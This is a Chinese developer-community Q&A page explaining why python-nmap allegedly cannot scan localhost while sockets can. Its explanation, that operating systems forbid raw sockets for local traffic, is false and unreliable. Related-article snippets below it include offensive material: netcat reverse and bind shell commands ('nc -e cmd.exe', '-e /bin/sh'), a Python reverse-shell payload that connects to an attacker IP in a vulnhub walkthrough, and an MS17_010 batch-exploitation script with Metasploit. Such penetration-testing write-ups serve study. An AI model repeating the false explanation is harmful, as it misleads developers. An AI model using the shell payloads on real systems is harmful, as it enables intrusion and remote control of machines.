首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

为什么Python-Nmap不能扫描本地主机,而Socket却可以?

Python-Nmap是一个用于使用Nmap扫描网络的Python库。Nmap是一个网络探测和安全审核工具,它可以用于扫描远程主机和网络服务。Python-Nmap库封装了Nmap的功能,提供了简单易用的Python接口。

然而,Python-Nmap不能直接扫描本地主机的原因是因为Nmap本身的设计和实现。Nmap是基于原始套接字(raw socket)的,它使用底层的网络协议栈来发送和接收网络数据包。原始套接字允许开发者直接访问网络协议栈,从而实现更底层的网络操作。

在扫描本地主机时,Python-Nmap无法直接使用原始套接字来发送和接收网络数据包,因为操作系统通常会对本地主机的网络通信进行保护,防止恶意程序或攻击者滥用网络资源。为了保障本地主机的安全,操作系统会限制对本地主机的网络访问权限,包括禁止使用原始套接字。

相比之下,Socket库是Python标准库中的一部分,它提供了一种更高级的网络编程接口。Socket库封装了底层的网络协议栈,提供了一组简单易用的函数和方法,用于实现网络通信。Socket库可以在应用层上进行网络通信,而不需要直接访问底层的网络协议栈。

因此,Socket库可以用于扫描本地主机,因为它不需要使用原始套接字。通过Socket库,开发者可以使用各种网络协议(如TCP、UDP)来与本地主机进行通信,包括发送和接收网络数据包。

总结起来,Python-Nmap不能扫描本地主机是因为它使用的是基于原始套接字的底层网络操作,而操作系统通常会限制对本地主机的网络访问权限。相比之下,Socket库提供了更高级的网络编程接口,可以用于扫描本地主机。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

python nmap 模块的学习(入门加进阶)

目录 1 背景 2 什么是nmap 3 nmap 原理 4 本地下载nmap 5 python-nmap 1 背景 我们都知道,python有很多的包,也就是依赖,或者说就是模块,比如django,这个只要我们下载了...,就可以使用人家django框架开发项目,nmap也是一个模块,我们只要下载了这个,就可以使用这个nmap里面的东西实现我们的功能; 2 什么是nmap Nmap 是一款网络扫描主机侦测的非常有用的工具...主机发现 端口扫描 服务版本侦测 操作系统侦测 3 nmap 原理 4 本地下载nmap 就是不使用python里面 nmap,直接使用这个软件进行扫描 双击这个软件 以上在这个里面可以使用命令进行扫描...nmap的基本输入: nmap [扫描类型] [设置] {设备地址} 其中设备地址(主机名,IP地址,网段等) 可以通过以下方法: 1.....nmap一些常用参数 扫描参数: -sP: ping扫描,加上这个参数会使用ping扫描,只有主机存活, nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,实际存在。

81920

ShareSniffer:一款功能强大的网络共享嗅探与远程文件系统爬取工具

(安装命令:pip install python-nmap); 6、netifaces(安装命令:pip install netifaces); 工具下载 由于该工具基于Python开发,因此我们首先需要在本地设备上安装并配置好...接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地: $ git clone https://github.com/shirosaidev/sharesniffer.git $ cd sharesniffer...除此之外,我们也可以直接访问该项目的【Releases页面】下载最新版本的ShareSniffer。...,例如10.10.56.0/22或10.10.56.2,默认扫描所有主机 -e EXCLUDEHOSTS, --excludehosts EXCLUDEHOSTS...扫描需要排除的主机,例如10.10.56.1,10.10.56.254 -l SPEEDLEVEL, --speedlevel SPEEDLEVEL

22240
  • 专题 | Python编写渗透工具学习笔记一

    ----拓:简单实现netcat的脚本--基础知识补充--详细分析脚本执行流程 0x03用多线程扫描某一网段中存活的主机 ----脚本利用演示+实现思路分析 ----基础知识补充 0x04nmap实现端口扫描...burp抓包,然后复制原生态的请求数据直接使用hackhttp模块重放数据包,这样不需要设置session也可以爆破成功。...Socket--套接字相关的模块,常用于建立tcp,udp这些连接 Time---跟时间有关的模块 Pexpect,pxssh模块--可用于爆破ssh密码 IPy--跟IP处理有关的模块 Python-nmap...模块--常用来实现高效的扫描操作,主机扫描,端口扫描,服务扫描等等 Zipfile--跟zip包处理有关的模块,可用于爆破zip包 Scapy --一个强大的交互式数据包处理程序,它能够伪造或者解码大量的网络协议数据包...异常处理:try/except语句进行异常处理,可以将异常存储到变量e中以便打印出来,同时还要调用str()将e转换成一个字符串 ?

    1.6K70

    Hacker基础之工具篇 APT2

    这里大家注意不是关于apk的(这个工具好像在新版的Kali中被舍弃了) apt2 APT2是一个自动渗透测试工具包 该工具将执行Nmap扫描,或从Nexpose,Nessus或Nmap导入扫描结果 处理结果将用于根据可配置的安全级别和枚举的服务信息启动漏洞利用和枚举模块...所有模块结果都存储在本地主机上,并且是APT2知识库(Knowledge Base)的一部分 Knowledge Base可从应用程序内访问,并允许用户查看利用模块的收集结果 要运行这个命令,直接在Terminal...中输入apt2就可以了 如果新版本中没有预装,可以在这里下载 https://github.com/MooseDojo/apt2 如果是自己下载需要自行安装这些库 pip install python-nmap...pysmb yattag scapy ftputil msgpack-python 这里我们解释一下这个东西的用法 我们可以结合msf来用 首先我们先启动msf的服务 msfdb start 然后就开始启动...SAFE_LEVEL的等级,0代表了UNSAFE 之后的-b的意义是 之后的--ip 192.168.1.233就是代表了我们的目标IP 如果打算直接利用nmap的结果 可以这样

    43330

    Python脚本与Metasploit交互批量产出MS17_010 shell

    ,于是写下了ms17_010漏洞批量利用的脚本 实验环境安装: 以kali为例(安装nmap库): pip install nmap pip install python-nmap (如果是ubuntu...()函数,将目标主机的地址和端口作为参数输入,进行扫描,通过返回的参数来判断主机的状态, 以扫描百度的80端口为例: import nmap scanner=nmap.PortScanner() //...创建一个PortScanner()类对象 result=scanner.scan('183.232.231.172','80') //利用scan()函数对主机的地址和端口进行扫描 print result...,0表示主机没有存活,tcp里面的state的值可以看出端口的开放状态, 接下来会重点用到这两个值 判断目标主机是否存活和445端口的状态: def find_target(host): target_list...总结: 批量化自动脚本给网络扫描带来了极大的便利,此代码注重Python和Metasploit的交互过程,可以举一反三和其他模块进行批量交互,有兴趣的可以自行编写.

    2.2K30

    MySQL数据查询太多会OOM吗?

    我的主机内存只有100G,现在要全表扫描一个200G大表,会不会把DB主机的内存用光? 逻辑备份时,可不就是做整库扫描吗?若这样就会把内存吃光,逻辑备份不是早就挂了?...即“Sending data”并不一定是指“正在发送数据”,可能是处于执行器过程中的任意阶段。比如,你可以构造一个锁等待场景,就能看到Sending data状态。...BP对查询的加速效果,依赖于一个重要的指标,即:内存命中率。 可以在show engine innodb status结果中,查看一个系统当前的BP命中率。...在大约十年前,单机的数据量是上百个G,物理内存是几个G;现在虽然很多服务器都能有128G甚至更高的内存,但是单机的数据量达到了T级别。...并且,由于InnoDB对LRU算法做了改进,冷数据的全表扫描,对Buffer Pool的影响也能做到可控。 全表扫描还是比较耗费IO资源的,所以业务高峰期还是不能直接在线上主库执行全表扫描的。

    97520

    MySQL一个200G的大表 该如何优化SQL查询操作

    关于更多的MySQL真题,你可以直接访问该链接进行查看。 问题描述 我的主机内存只有100G,现在要全表扫描一个200G大表,会不会把DB主机的内存用光?逻辑备份时,可不就是做整库扫描吗?...若发送函数返回EAGAIN或WSAEWOULDBLOCK,就表示本地网络栈(socket send buffer)写满了,进入等待。直到网络栈重新可写,再继续发送。...即“Sending data”并不一定是指“正在发送数据”,可能是处于执行器过程中的任意阶段。比如,你可以构造一个锁等待场景,就能看到Sending data状态。...❞ BP对查询的加速效果,依赖于一个重要的指标,即:内存命中率。 可以在show engine innodb status结果中,查看一个系统当前的BP命中率。...在大约十年前,单机的数据量是上百个G,物理内存是几个G;现在虽然很多服务器都能有128G甚至更高的内存,但是单机的数据量达到了T级别。

    1.6K20

    MySQL数据查询太多会OOM吗?

    我的主机内存只有100G,现在要全表扫描一个200G大表,会不会把DB主机的内存用光? 逻辑备份时,可不就是做整库扫描吗?若这样就会把内存吃光,逻辑备份不是早就挂了?...即“Sending data”并不一定是指“正在发送数据”,可能是处于执行器过程中的任意阶段。比如,你可以构造一个锁等待场景,就能看到Sending data状态。...BP对查询的加速效果,依赖于一个重要的指标,即:内存命中率。 可以在show engine innodb status结果中,查看一个系统当前的BP命中率。...在大约十年前,单机的数据量是上百个G,物理内存是几个G;现在虽然很多服务器都能有128G甚至更高的内存,但是单机的数据量达到了T级别。...并且,由于InnoDB对LRU算法做了改进,冷数据的全表扫描,对Buffer Pool的影响也能做到可控。 全表扫描还是比较耗费IO资源的,所以业务高峰期还是不能直接在线上主库执行全表扫描的。

    95520

    MySQL实战第三十三讲- 我查这么多数据,会不会把数据库内存打爆?

    我经常会被问到这样一个问题:我的主机内存只有 100G,现在要对一个 200G 的大表做全表扫描,会不会把数据库主机的内存用光了?...如果发送函数返回 EAGAIN 或 WSAEWOULDBLOCK,就表示本地网络栈(socket send buffer)写满了,进入等待。直到网络栈重新可写,再继续发送。...在大约十年前,单机的数据量是上百个 G,物理内存是几个 G;现在虽然很多服务器都能有 128G 甚至更高的内存,但是单机的数据量达到了 T 级别。...当然,我们前面文章有说过,全表扫描还是比较耗费 IO 资源的,所以业务高峰期还是不能直接在线上主库执行全表扫描的。 最后,我给你留一个思考题吧。...我在文章中说到,如果由于客户端压力太大,迟迟不能接收结果,会导致 MySQL 无法发送结果影响语句执行。但,这还不是最糟糕的情况。 你可以设想出由于客户端的性能问题,对数据库影响更严重的例子吗?

    56620

    100G内存下,MySQL查询200G大表会OOM么?

    server层的影响 全表扫描对InnoDB的影响 InnoDB内存管理 小结 ---- 我的主机内存只有100G,现在要全表扫描一个200G大表,会不会把DB主机的内存用光?...有时,实例上看到很多查询语句状态是“Sending data”,但查看网络也没什么问题,为什么Sending data要这么久?...BP对查询的加速效果,依赖于一个重要的指标,即:内存命中率。 可以在show engine innodb status结果中,查看一个系统当前的BP命中率。...在大约十年前,单机的数据量是上百个G,物理内存是几个G;现在虽然很多服务器都能有128G甚至更高的内存,但是单机的数据量达到了T级别。...并且,由于InnoDB对LRU算法做了改进,冷数据的全表扫描,对Buffer Pool的影响也能做到可控。 全表扫描还是比较耗费IO资源的,所以业务高峰期还是不能直接在线上主库执行全表扫描的。

    81640

    Python | 使用Python3 实现端口扫描

    另一优点是扫描速度快。如果对每个目标端口以线性的方式,使用单独的connect()调用,可以通过同时打开多个套接字,从而加速扫描。...但是基于Unix(*nix,如Linux)遵从RFC 793标准,所以可以用NULL扫描。 经过上面的分析,我们知道NULL可以辨别某台主机运行的操作系统是什么操作系统。...此类扫描同样不能准确判断windows系统上端口开发情况。 端口开放:发送FIN,没有响应 端口关闭:1、发送FIN 2、回复RST 5、ACK扫描 扫描主机向目标主机发送ACK数据包。...正常情况下,三个标志位不能被同时设置,但在此种扫描可以用来判断哪些端口关闭还是开放,与上面的反向扫描情况相同,依然不能判断windows平台上的端口。...目标主机端口开发时回应SYN|ACK,关闭时返回RST,僵尸主机对SYN|ACK回应RST,对RST不做回应。从僵尸主机上进行扫描时,进行的是一个从本地计算机到僵尸主机的、连续的ping操作。

    3.6K32

    NetCat 工具的常用使用技巧

    NCwindows反弹 1:正向连接 服务器执行:nc -l -p 8888 -e cmd.exe 本地主机执行:nc -vv 服务器ip 8888 2:反向连接 服务器执行:nc -e cmd.exe...> 设置来源路由指向器,其数值为4的倍数; -h 在线帮助; -i 设置时间间隔,以便传送信息及扫描通信端口; -l 使用监听模式,管控传入的资料; -n 直接使用IP地址,不通过域名服务器...; -o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存; -p 设置本地主机使用的通信端口; -r 乱数指定本地与远端主机的通信端口; -s 设置本地主机送出数据包的...远程端口探测 连接远程主机的80端口,并获取到该端口的版本信息 lyshark@dell:~$ nc -nv 192.168.1.20 80 实现快速端口扫描 扫描目标主机开放的端口,例如从 70-100...80端口,并获取到该端口的版本信息 lyshark@dell:~$ nc -nv 192.168.1.20 80 # 扫描目标主机开放的端口,从70-100 那个端口是开放的 lyshark@dell

    56610

    reGeorg+proxifier穿透内网

    dl()函数加载socket模块),推荐使用无socket的。...mark 出现上图显示的文字就是没问题,接下来需要我们本地的机器来连接这个php文件了 step2 第二步就需要用到文件中的py脚本了,运行该脚本前,请确认你的python安装了urllib3这个库。...需要注意的是python.exe一定不能设置为经过代理,那样会产生死循环的。规则制定好了,只要打上勾就表示应用该规则。我上面贴的图片只是一个参考。...注:请确保你的主机没有设置其它代理,否则会产生奇怪的错误,别问我为什么知道~_~ 这里配置好了过后,你所有浏览器的网络请求都会经过目标机代理然后才发送出去 应用 例如现在我们连接一台服务器的3389端口...,发现该端口只能内网连接,那么我们就可以使用者套组合将我们的mstsc.exe的流量经过代理发现目标主机,这样就可以成功连接到对方的远程桌面。

    1K20

    【vulhub靶场】medium_socnet

    遂重新下载导入了一次才正常(还有一种情况是连主机都探测不到,可能是网络适配器设置问题) 信息收集 主机发现: arp-scan -l 端口扫描 nmap -sS -sV -T4 -A -p- 10.10.10.154...保量中间参数部分才能正常上线 Payload import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM...$j;done #扫描65535个主机 因为是Docker环境,不至于会打开这么多镜像,所以只对c段的IP进行扫描 for i in $(seq 1 254);do ping -c 1 172.17.0...proxychains nmap -sV -sT 172.17.0.1 -p 1-65535 #p参数可以指定端口范围 扫个一两分钟就可以了,如果不经过公网代理的话,速度可能会快一些,当然真实环境下需要控制扫描速率...于是我将kali本地编译的脏牛漏洞上传至靶机上 显示缺少libstdc++库,尝试能不能 apt-get install libstdc++6 一下,答案是没有权限,那么能不能从kali上把该库文件复制过来使用呢

    11210

    使用 golang gopacket 实现进程级流量监控

    这两个文件只能看到主机级别的信息,没法实现进程级别的流量采集。 但是我们可以从其他路子来实现细粒度的进程级别的流量监控。...通过 /proc/{pid}/fd/ 可以拿到 pid 及 socket inode文件描述符的映射关系。 那么怎么流量从哪里获取?抓包,类似 tcpdump 这类使用 pcap 来抓包。...启动阶段扫描 /proc/net/tcp和 /proc/{pid}/fd/{socket inode}。...注意的几个点: /proc 的那个几个元数据不能使用 inotify 来监听,只能是定时扫描或者利用你通知来被动更新。udp也是同理,这里就不复述了。 如何判断是进出流量?...如果 src.ip 是本地的ip地址,那么就是出流量,src.ip 不是本地ip地址,那么肯定就是进流量了。go-netflow 在启动阶段就需要获取本地的ip地址列表。

    4.6K10

    初学者第71节网络编程-Socket(二)

    客户端要获取一个 Socket 对象通过实例化 , 服务器获得一个 Socket 对象则通过 accept() 方法的返回值。...方法参数解释 host:服务端地址 port:服务端端口 现在做一个扫描主机上的从1-1024的端口判断是否已经被服务器监听的小例子 public class TcpClient1 { public...方法参数解释: host:服务端地址 port:服务端端口号 localAddress:本地主机ip地址对象 localPort:本地主机端口 注意:本地主机ip对象的参数是防止本地主机有多个网卡有局域网和外网的情况下这个时候就可以指定为是局域网的...方法参数解释: host:远程服务端的地址对象 port:远程服务端的端口号 localAddress:本地主机的地址对象 localPort:本地主机的端口号 本方法和上面的public Socket...解决方案:此时呢,我们可以用netstat -an的命令,可以监听到一个Listending状态的端口。只需要找一个没有被占用的端口就能解决问题。或者,我们在使用端口前,优先去查看哪些端口不能使用。

    59630

    TCP 协议详解

    的数据包,此时若对方主机相应了一个数据包回来,就表明这台主机存在该端口; 这种扫描方式只是进行 TCP 三次握手的第一次握手,因此这种扫描的成功表示被扫描的机器并不安全,一台安全的主机将会强制要求一个连接严格的进行...为什么要进行三次握手? 既然总结了TCP的三次握手,那为什么非要三次呢?怎么觉得两次就可以完成了。那TCP为什么非要进行三次连接呢?...但服务器以为新的运输连接已经建立,并一直等待客户端发来数据。这样,服务器的很多资源就白白浪费掉了。采用“三次握手”的办法可以防止上述现象发生。例如刚才那种情况,客户端不会向服务器的确认发出确认。...状态时,它想主动关闭连接,向对方发送了 FIN 报文,此时该 socket 进入到了 FIN_WAIT_1 状态;当对方回应 ACK 报文后,则进入到 FIN_WAIT_2 状态,当然在实际的正常情况下...如果没有的话,就可以关闭这个 socket,发送 FIN 报文给对方,即关闭了连接。

    1.8K50

    三十.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(3)

    ---- 二.bulldog靶机渗透详解 1.信息收集及目录扫描 首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。 第一步,目标主机IP探测 首先需要探测目标靶场的IP,推荐三种方法。...--- 第二步,端口扫描 nmap命令的基本用法如下: -sS:半开扫描,记入系统日志风险小 -sP:扫描端口前,先使用ping扫描,保证主机存活 -A:全面系统检测,启用脚本检测和扫描 输入命令如下:...第三步,nc监听端口并反弹shell 本地执行nc -lvp 4444监听本地端口4444,然后在Web-shell上执行反弹脚本。...import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.44.138...这里补充一个技巧,可以用Python调用本地的shell实现,命令如下: python -c 'import pty; pty.spawn("/bin/bash")' 然后执行命令 sudo su -

    1.2K20

    如何反弹shell

    -nvv Targert_IP Targert_Port,监听本地主机nc -l -p Local_Port,端口扫描nc -v target_IP target_Port、端口监听nc...curl和wget的区别 wget是个专职的下载利器,简单,专一,极致;curl可以下载,但是长项不在于下载,而在于模拟提交web数据,POST/GET请求,调试网页,等等。...在下载上,也各有所长,wget可以递归,支持断点;curl支持URL中加入变量,因此可以批量下载。...telnet telnet协议是TCP/IP协议族的其中之一,是Internet远端登录服务的标准协议和主要方式,常用于网页服务器的远端控制,可供使用者在本地主机执行远端主机上的工作。...目标主机: 命令:nc -lvp Targert_Port -e /bin/sh 本地主机: 命令:nc Targert_IP Targert_Port 什么是反弹shell 参考:

    90410
    领券